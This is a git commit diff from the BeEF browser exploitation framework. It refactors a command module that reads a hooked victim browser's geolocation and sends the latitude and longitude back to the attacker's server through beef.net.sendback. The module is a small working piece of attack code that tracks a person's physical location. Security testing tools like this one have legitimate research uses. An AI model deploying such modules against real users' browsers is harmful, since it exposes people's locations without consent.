updated physical location code

git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2010-11-14 17:36:25 +00:00
parent e8ea9008f2
commit 31ebef8693
2 changed files with 39 additions and 25 deletions

View File

@@ -1,9 +1,11 @@
beef.execute(function() {
if(beef.geolocation.isGeolocationEnabled()){
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
}else{
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
if(!beef.geolocation.isGeolocationEnabled()){
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
return;
}
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
});